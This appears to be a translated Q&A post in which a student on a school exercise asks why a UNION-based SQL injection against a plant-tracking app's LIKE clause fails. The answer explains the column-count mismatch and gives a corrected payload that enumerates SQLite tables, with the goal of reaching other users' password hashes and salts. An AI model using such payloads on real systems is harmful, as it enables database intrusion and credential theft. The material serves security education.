为什么这种 sql 注入攻击不起作用?

Why doesnt this sql injection attack work?

对于学校,我们需要获取所有其他用户以及哈希和盐。为此,我需要知道存储所有这些信息的 table 名称,我想用 sqlite_master 来获取它。这是查询部分:

var sql_query = 'SELECT id , name , color , planttype , potsize , shared FROM
plants WHERE user_id = ' + req . user . get ( 'id ') + ' AND name LIKE "% ' + **plant**
+ '%"; ';

输入行是工厂变量。我试过了

%" OR username = 1 OR 1 = 1 UNION ALL SELECT name FROM sqlite_master WHERE type='table'; --

但由于某些原因它不起作用。

问题是两个联合查询必须 return 相同的列数(具有相同的数据类型)。

您的查询不是这种情况,第一个查询 returns 6 列,第二个只有一个。

我认为您可以使用以下输入:

%" OR 1 = 1 UNION ALL 
 SELECT null, name, null, null, null, null 
 FROM sqlite_master 
 WHERE type='table'; --

这会产生类似

的查询
SELECT id, name, color, planttype, potsize, shared 
FROM plants 
WHERE user_id = ? AND name LIKE "%%" OR 1 = 1
UNION ALL
SELECT null, name, null, null, null, null 
FROM sqlite_master WHERE type='table'
-- %"